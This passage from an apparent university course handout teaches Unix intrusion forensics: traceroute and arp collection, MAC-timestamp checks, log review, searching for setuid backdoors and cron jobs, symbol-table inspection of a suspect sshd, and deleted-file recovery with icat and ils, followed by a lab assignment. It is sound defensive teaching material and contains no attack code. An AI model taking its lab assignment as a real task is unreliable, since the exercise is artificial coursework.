csh> traceroute www.ust.hk

traceroute to www.ust.hk (143.89.14.34), 30 hops max, 38 byte packets
 1  ntec-fw (192.168.64.254)  0.268 ms  0.170 ms  0.148 ms
 2  router99.ie.cuhk.edu.hk (137.189.99.254)  0.833 ms  0.860 ms  0.767 ms
 3  137.189.200.250 (137.189.200.250)  1.402 ms  1.270 ms  1.383 ms
 4  globalone-FE.hkix.net (202.40.161.32)  3.292 ms  3.097 ms  3.052 ms
 5  204.59.89.14 (204.59.89.14)  3.191 ms  2.911 ms  2.840 ms
 6  192.245.196.214 (192.245.196.214)  5.038 ms  5.080 ms  4.657 ms
 7  internet-gw1.ust.hk (202.40.138.117)  5.052 ms  5.463 ms  4.940 ms
 8  www.ust.hk (143.89.14.34)  4.753 ms *  4.872 ms
```
- To trace the MAC (arp)
```
csh> /sbin/arp ntec14
Address                 HWtype  HWaddress           Flags Mask            Iface
ntec14                  ether   00:D0:09:28:9F:79   C                     eth0

csh> /sbin/arp -a
ntec14 (192.168.64.14) at 00:D0:09:28:9F:79 [ether] on eth0
pntec11 (172.18.1.11) at 00:D0:09:44:C2:7C [ether] on eth0
ntec92 (192.168.128.92) at 00:D0:09:28:31:69 [ether] on eth0
ntec93 (192.168.128.93) at 00:D0:09:2A:49:08 [ether] on eth0
ntec15 (192.168.64.15) at 00:D0:09:4D:9F:D6 [ether] on eth0
ntec12 (192.168.64.12) at 00:D0:09:28:3B:1C [ether] on eth0
ntec94 (192.168.128.94) at 00:D0:09:2D:6F:03 [ether] on eth0
victim (192.168.128.50) at 00:D0:09:27:66:18 [ether] on eth0
ntec13 (192.168.64.13) at 00:D0:09:2D:D8:2A [ether] on eth0
ntec95 (192.168.128.95) at 00:D0:09:4E:46:0C [ether] on eth0
ntec88 (192.168.128.88) at 00:D0:09:4E:46:13 [ether] on eth0
...
```
II) Off-line inspection
Always examin the cloned disk and mount the disk as read only file system
Check the MAC time (modfiy, access and status changed time stamp)
find -mtime|atime|ctime
ls -lt|lut
```
csh> find . -mtime -1 -type f -print | xargs ls -l 
-rw-------   1 shlam    daemon     68215 Jun  9 10:10 ./ltrace_0.3.10.tar.gz
-rw-------   1 shlam    daemon     44933 Jun  9 16:10 ./www.hack.com.tar.gz
(find the file that modified lesser than a day)


csh> ls -lut
lrwxrwxrwx   1 shlam    daemon         2 Jun  9 17:52 m5 -> mm
drwxrwxr-x   2 shlam    root         104 Jun  9 17:50 .X11-pipe/
drwxrwxr-x   2 shlam    root         104 Jun  9 17:50 .X11-unix/
drwxrwxrwx   2 root     root         107 Jun  9 17:50 .pcmcia/
drwxrwxrwt   2 root     root         161 Jun  9 17:50 .rpc_door/
drwx--x--x   7 shlam    daemon      1052 Jun  9 17:50 autofs-3.1.5/
drwx--x--x   2 shlam    daemon       683 Jun  9 17:50 forensic/
(list the more recent asscess file and directory)
```
Note. Do not draw conclusion form MAC time stamp hastily becasue MAC time stamp can be forged easily.

Check the log files
Check the log files (syslog, messages, secure , mail, wtmp, utpmp, lastlog ...) in /var/adm , /var/log. Theese log files location is usually specified in /etc/syslog.conf Below is a list of some of the more common UNIX log file names, their function, and what to look for in those files.
- messages
  The messages log will contain a wide variety of information. Look for anomalies in this file. Anything out of the ordinary should be inspected. Also, look for events that occurred around the known time of the intrusion.
- xferlog
  If the compromised system has a functioning ftp server, xferlog will contain log files for all of the ftp transfers. This may help you discover what intruder tools have been uploaded to your system, as well as what information has been downloaded from your system.
- utmp
  This file contains binary information for every user currently logged in. This file is only useful to determine who is currently logged in. One way to access this data is the who command.
- wtmp
  Every time a user successfully logs in, logs out, or your machine reboots, the wtmp file is modified. This is a binary file; thus, you need to use a tool to obtain useful information from this file. One such tool is last. The output from last will contain a table which associates user names with login times and the host name where the connection originated. Checking this file for suspicious connections (e.g., from unauthorized hosts) may be useful in determining other hosts that may have been involved and finding what accounts on your system may have been compromised.
- secure
  Some versions of UNIX (RedHat Linux for example) log tcp wrapper messages to the secure log file. Every time a connection is established with one of the services running out of inetd that uses tcp wrappers, a log message is appended to this log file. When looking through this log file, look for anomalies such as services that were accessed that are not commonly used, or for connections from unfamiliar hosts.
The common item to look for when reviewing log files is anything that appears out of the ordinary. Note. Log files can easily be erased or forged. Hence, besides looking for anything unusual entries in the log files, we should also look for any abnormal log entry absence.
Check the consistency among your log files too. For example, if your NDIS log file show that there were lots of www traffic to your host, but your host httpd access.log does not show that. Then some of your httpd access.log entries may be erased.

Check if any files are infected
Do not use the IDS which just based on file size and check sum to determine if a file is infected or trojaned because they can be forged; use md5 instead.
Find any suspicious setuid and setgid files (especially setuid root files) everywhere on your system. Intruders often leave setuid copies of /bin/sh or /bin/time around to allow them root access at a late time. The UNIX find(1) program can be used to hunt for setuid and/or setgid files. For example, you can use the following commands to find setuid root files and setgid kmem files on the entire file system:
```
        find / -user root -perm -4000 -print -xdev
        find / -group kmem -perm -2000 -print -xdev
```
Exam user cron jobs
Check the /var/spool/cron directory for any suspicious cron jobs as they can be used by the hackers as backdoor. Also, verify that all files/programs referenced (directly or indirectly) by the 'cron' jobs, and the job files themselves, are not world-writable.

Exam user .forward jobs
If you really allow your users to execute program through .forward, you need to check if these program is normal and not setuid

Reverse engineering of suspicious program
- Check its symbol talble (nm -p program_file)
```
       csh> nm -p /usr/local/sbin/sshd|more
       0804a424 t gcc2_compiled.
       0804a430 t gcc2_compiled.
       08076d84 d p.2
       08078a90 ? __DTOR_LIST__
       08076d88 d completed.3
       0804a430 t __do_global_dtors_aux
       08078a84 ? __EH_FRAME_BEGIN__
       0804a478 t fini_dummy
       08078dc0 b object.8
       0804a480 t frame_dummy
       0804a4a0 t init_dummy
       .....
```
- Check runtime linker symbol table - calls of shared library routines (nm -Du program_file )
```
         csh> nm -Du /usr/local/sbin/sshd | more
         __assert_fail
         __deregister_frame_info
         __errno_location
         __gmon_start__
         __libc_start_main
         __lxstat
         __register_frame_info
         __strtol_internal
         __xstat
         abort
         accept
         alarm
         bind
         calloc
         cfgetispeed
         cfgetospeed
         cfsetispeed
         cfsetospeed
         chdir
         chmod
         chown
         clock
         ....
          
```
- De-assemble the object code into source code
- Run the program in a debugger under a control environment
III) Recovery and exam of removed files (not from back up tape)
- View the removed filename in the directory
  od -cx directory
- Calculate its inode position
- icat the file directly from the file system
- use ils toget the last status of the removed file
```
  od -cx directory

  ils inode

  icat /dev_name inode > outfile


ntec5:/tmp/tt> ls
./  ../  abcdefg  hijklmn


ntec5:/tmp/tt> cat abcdefg
Hello.
This is a testing.
Bla... Bla...  testing

testing


ntec5:/tmp/tt> rm abcdefg
rm: remove `abcdefg'? y

ntec5:/tmp/tt> ls
./  ../  hijklmn


(see the current directory inode)
ntec5:/tmp/tt> ls -i
 198049 ./   160321 ../   198054 hijklmn

(see the file system device)
ntec5:/tmp/tt> df
Filesystem           1k-blocks      Used Available Use% Mounted on
/dev/hda3              2016044   1463012    450620  76% /

(view the removed file inode)
ntec5:/tmp/tt> icat /dev/hda3 198049|od -cx
0000000   ¡ 005 003  \0  \f  \0 001 002   .  \0  \0  \0   A   r 002  \0
        05a1 0003 000c 0201 002e 0000 7241 0002
0000020   0  \0 002 002   .   .  \0  \0   ¢ 005 003  \0 024  \0  \f 001
        0030 0202 2e2e 0000 05a2 0003 0014 010c
0000040   .   h   i   j   k   l   m   n   .   s   w   p   £ 005 003  \0
        682e 6a69 6c6b 6e6d 732e 7077 05a3 0003
                                      ^^^^^^^^^
                                       (198051) 
0000060 020  \0  \a 001   a   b   c   d   e   f   g   p   ¦ 005 003  \0
        0010 0107 6261 6463 6665 7067 05a6 0003
0000100   Ä 017  \a 001   h   i   j   k   l   m   n   n   .   s   w   p
        0fc4 0107 6968 6b6a 6d6c 6e6e 732e 7077


(retrive the removed by icat)
ntec5:/tmp/tt> icat /dev/hda3 198051
Hello.
This is a testing.
Bla... Bla...  testing

testing


(list the removed inode)
ntec5:/tmp/tt> ils /dev/hda3 198051
class|host|start_time
ils|ntec5|960574486
inum|allocation|uid|gid|m_time|a_time|c_time|dtime|mode|links|size|block0|block1
198051|f|0|0|960574079|960574139|960574162|960574162|100644|0|60|418630|0
                                                            ^^ (links = 0) 

ntec5:/tmp/tt> ls -i
 198049 ./   160321 ../   198054 hijklmn

ntec5:/tmp/tt> ils /dev/hda3 198054
class|host|start_time
ils|ntec5|960574631
inum|allocation|uid|gid|m_time|a_time|c_time|dtime|mode|links|size|block0|block1
198054|a|0|0|960574099|960574099|960574099|0|100644|1|25|418631|0
```
Assignment G.4 (partner a and b do it separately)
1. Read /usr/local2/share/forensics/README file and follow the instructions in this REAME file to conduct the investigation
2. Write your investigation report to /usr/local/apache_x/htdocs/sysmon/security/report.html
References

Hacking Techniques and Computer Forensics Analysis

Disclaimer:

Process Memory Region

An example of buffer overflow program

Clone the disk and copy data

Memory Dump

Process Investigation

Collect Network Information

Check the MAC time (modfiy, access and status changed time stamp)

Check the log files

Check if any files are infected

Exam user cron jobs

Exam user .forward jobs

Reverse engineering of suspicious program